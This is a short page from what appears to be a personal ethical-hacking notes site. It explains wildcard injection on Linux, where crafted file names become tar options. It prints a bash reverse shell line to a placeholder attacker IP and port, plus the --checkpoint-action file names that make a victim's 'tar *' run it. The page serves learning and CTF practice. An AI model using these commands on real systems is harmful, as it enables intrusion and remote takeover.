HACKING
MenuWriteupsMy ProjectsAbout me
  • 👾Ethical Hacking
  • 🔑Cracking - Hashing
  • Operating Systems
    • 🐧Linux
  • Reconnaissance
    • 🌐Network Scanning
  • Post-Exploitation
    • ⬆️Privilege Escalation
    • 🛠️Privilege Escalation Tools
      • ♠️LinPEAS
      • ♥️Pspy64
      • ♣️Linux Smarter Enumeration
      • #️⃣GTFObins
  • ☠️Vulnerabilities
    • 💥Software Vulnerabilities
      • Bash
      • C
    • Linux Vulns
  • Practice
    • 📖Writeups
      • HackMyVM
        • Easy 🟢
          • Gift
          • Helium
          • Hidden
          • Ripper
          • Beloved
          • Noob
          • Hundred
          • Bah
          • Doc
          • Warez
          • Doubletrouble
          • Stars
          • Method
  • About me
    • 📚My projects
    • 👤About me
Powered by GitBook
On this page
  1. Vulnerabilities

Linux Vulns

Last updated 2 months ago

Wildcard Injection

Wildcard Injection is an attack that exploits the use of wildcards (*, ?, []) in Linux commands to execute malicious code. This is possible when a user runs commands like tar, rsync, or scp in directories where an attacker has created files with names that resemble command-line options. This can lead to the unintended execution of commands without the user noticing.

An attacker can exploit Wildcard Injection by creating malicious files in a directory where the victim will execute a command using *. For example, they can use:

echo "bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1" > revshell.sh
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=bash revshell.sh"

When the victim runs a command like tar -cf backup.tar *, tar will interpret the filenames as options and execute the code, starting a reverse shell to the attacker.

☠️